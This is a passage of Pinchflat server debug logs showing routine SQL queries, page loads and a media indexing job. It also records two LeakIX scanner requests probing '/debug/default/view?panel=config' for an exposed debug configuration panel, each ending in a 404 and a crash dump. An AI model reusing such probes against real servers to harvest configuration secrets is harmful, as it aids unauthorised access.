s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:53.695 [info] Sent 200 in 11ms 17:50:53.788 [info] GET /debug/default/view 17:50:53.788 [debug] QUERY OK source="settings" db=0.1ms idle=99.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:53.788 [debug] QUERY OK source="settings" db=0.1ms idle=99.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:53.789 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:53.789 [error] #PID<0.162821.0> running PinchflatWeb.Endpoint (connection #PID<0.162820.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /debug/default/view?panel=config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/default/view (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162820.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44424}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162821.0>, params: %{"panel" => "config"}, path_info: ["debug", "default", "view"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"panel" => "config"}, query_string: "panel=config", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/debug/default/view", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dKBA4hWbgZpcAFouh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162820.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44424}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/default/view (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162820.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44424}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162821.0>, params: %{"panel" => "config"}, path_info: ["debug", "default", "view"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"panel" => "config"}, query_string: "panel=config", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/debug/default/view", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, pri (truncated) 17:50:54.680 [info] GET /debug/default/view 17:50:54.681 [debug] QUERY OK source="settings" db=0.1ms idle=988.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:54.681 [debug] QUERY OK source="settings" db=0.1ms idle=987.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:54.681 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:54.682 [error] #PID<0.162823.0> running PinchflatWeb.Endpoint (connection #PID<0.162822.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /debug/default/view?panel=config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/default/view (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162822.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44436}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162823.0>, params: %{"panel" => "config"}, path_info: ["debug", "default", "view"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"panel" => "config"}, query_string: "panel=config", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/debug/default/view", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dKEVt2T1F8wMAFovB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162822.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44436}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/default/view (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162822.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44436}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162823.0>, params: %{"panel" => "config"}, path_info: ["debug", "default", "view"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"panel" => "config"}, query_string: "panel=config", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/debug/default/view", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-r (truncated) 17:50:56.016 [info] GET / 17:50:56.016 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:50:56.017 [debug] QUERY OK source="settings" db=0.1ms idle=1335.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:56.017 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1335.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:50:56.017 [debug] QUERY OK source="sources" db=0.0ms idle=734.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:50:56.018 [debug] QUERY OK source="media_items" db=0.4ms idle=734.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:56.018 [debug] QUERY OK source="media_items" db=0.3ms idle=648.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:56.019 [debug] QUERY OK source="settings" db=0.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:56.019 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:56.019 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:56.020 [debug] QUERY OK source="tasks" db=0.1ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:50:56.021 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:56.021 [debug] QUERY OK source="media_items" db=0.3ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:56.022 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:50:56.023 [debug] QUERY OK source="media_items" db=0.6ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:50:56.024 [debug] QUERY OK source="media_items" db=0.8ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:56.025 [info] Sent 200 in 8ms 17:50:59.382 [info] {"args":{"id":1},"id":17067,"meta":{},"system_time":1787187059382328873,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:50:59.383 [debug] QUERY OK source="sources" db=0.2ms idle=99.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:50:59.383 [debug] QUERY OK source="settings" db=0.3ms idle=99.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:59.384 [debug] QUERY OK source="media_items" db=0.3ms idle=100.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:50:59.384 [debug] QUERY OK source="media_items" db=0.1ms idle=9.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 17:50:59.384 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:50:59.385 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:59.385 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:59.386 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [1] 17:50:59.390 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 17:50:59.390 [debug] Current batch of media processed. Will check again in 1000ms 17:50:59.391 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:59.391 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:59.391 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:59.391 [info] [command_wrapper]: 